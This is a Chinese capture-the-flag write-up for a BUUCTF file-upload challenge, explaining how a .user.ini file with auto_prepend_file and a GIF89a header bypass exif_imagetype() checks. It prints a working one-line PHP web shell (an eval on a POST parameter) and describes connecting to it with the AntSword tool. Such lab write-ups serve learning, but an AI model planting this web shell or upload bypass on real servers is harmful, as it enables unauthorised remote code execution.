0x00 知识点
- 利用.user.ini文件的文件上传
- 利用利用GIF89a文件头绕过exif_imagetype()的检测。
0x01 知识点讲解
- 什么是.user.ini文件?
答:.user.ini文件相当于一个用户可以自定义的php.ini文件,但是有一点限制就是不能定义PHP_INI_SYSTEM模式,而在执行php代码之前,系统会对.user.ini先做一个执行,然后才执行其他的php文件。 - 怎么利用.user.ini文件?
答:我们可以在.user.ini文件中写入auto_prepend_file函数,auto_prepend_file表示在php程序加载第一个php代码前加载的php文件,这时候我们就可以引入一个我们自己所写的php文件,也就是一个一句话木马。 - 使用的条件?
答:
(1)服务器脚本语言为PHP
(2) 对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
想要知道更多细节的可以看看这篇大佬的博客
0x02 解题思路
-
打开网站看看是什么题目一看就是文件上传了,但是常用的绕过的方法都不行,比如修改后缀,00截断等等,尝试使用.user.ini文件上传。
-
创建两个文件分别命名为.user.ini和yjh.png文件
.user.ini
GIF89a
auto_prepend_file=a.jpg
a.jpg
GIF89a
<script language='php'> @eval($_POST['hnpc']);</script>
- 上传.user.ini文件看看其回显 注意看到其返回的执行的步奏,先执行.user.ini后再执行index.php文件
- 接下来上传a.jpg
这里要注意两点,1.这个网站执行过.user.ini文件后会按照文件命首字母执行,也就是说,如果你文件的首字母在i之后,那你所写的一句话木马就不会写入index.php文件中当作php文件执行,2.这个网站只能通过jpg文件后缀。(因为这两个细节卡了半天,好气)。 - 之后利用蚁剑连接注意是连接路径如下所示
http://97cecbb5-94d6-49c1-9791-19f6ca241a4f.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php
之后在根目录找到flag
注意这里只能用蚁剑连。菜刀,冰蝎,c刀都不行。
这些工具合计我也会上传上去,供大家下载。